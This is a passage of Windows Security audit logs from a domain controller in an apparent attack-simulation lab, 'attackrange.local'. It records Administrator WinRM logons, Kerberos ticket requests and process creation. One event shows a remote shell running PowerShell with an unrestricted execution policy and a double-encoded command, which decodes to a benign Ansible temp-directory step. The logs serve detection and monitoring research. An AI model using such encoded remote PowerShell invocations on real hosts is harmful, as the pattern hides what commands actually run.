	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64621

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252248
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154F4F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252247
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x7dc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBPAFEAQQB6AEEAQwA0AEEATQB3AEEAMwBBAEQAWQBBAE8AQQBBADEAQQBEAEEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAMQBBAEQARQBBAE8AQQBBADUAQQBEAEUAQQBNAEEAQQAxAEEARABjAEEATwBBAEEANQBBAEQAZwBBAE0AQQBBAHgAQQBDAGMAQQBDAGcAQgBYAEEASABJAEEAYQBRAEIAMABBAEcAVQBBAEwAUQBCAFAAQQBIAFUAQQBkAEEAQgB3AEEASABVAEEAZABBAEEAZwBBAEMAMABBAFMAUQBCAHUAQQBIAEEAQQBkAFEAQgAwAEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBKAEEAQgAwAEEARwAwAEEAYwBBAEEAdQBBAEUAWQBBAGQAUQBCAHMAQQBHAHcAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEEASwBBAEUAawBBAFoAZwBBAGcAQQBDAGcAQQBMAFEAQgB1AEEARwA4AEEAZABBAEEAZwBBAEMAUQBBAFAAdwBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAFIAdwBCAGwAQQBIAFEAQQBMAFEAQgBXAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAFkAZwBCAHMAQQBHAFUAQQBJAEEAQgBNAEEARQBFAEEAVQB3AEIAVQBBAEUAVQBBAFcAQQBCAEoAQQBGAFEAQQBRAHcAQgBQAEEARQBRAEEAUgBRAEEAZwBBAEMAMABBAFIAUQBCAHkAQQBIAEkAQQBiAHcAQgB5AEEARQBFAEEAWQB3AEIAMABBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBVAHcAQgBwAEEARwB3AEEAWgBRAEIAdQBBAEgAUQBBAGIAQQBCADUAQQBFAE0AQQBiAHcAQgB1AEEASABRAEEAYQBRAEIAdQBBAEgAVQBBAFoAUQBBAHAAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAGsAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEAZgBRAEEAZwBBAEUAVQBBAGIAQQBCAHoAQQBHAFUAQQBJAEEAQgA3AEEAQwBBAEEAWgBRAEIANABBAEcAawBBAGQAQQBBAGcAQQBEAEUAQQBJAEEAQgA5AEEAQwBBAEEAZgBRAEEAPQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252246
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154EB2

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252245
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x154EB2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64620

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252244
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154EB2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252243
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154E65

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252242
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154E65
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252241
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252240
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252239
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252238
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1114
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252237
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Process Information:
	New Process ID:		0x520
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252236
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252235
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252234
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252233
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252232
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252231
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154B51

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252230
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x149E93

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=252229
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14A0E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252228
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154B51

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:07 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252227
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154B51
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D9842D1F-32A3-5579-228A-FC8C9908A53A}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

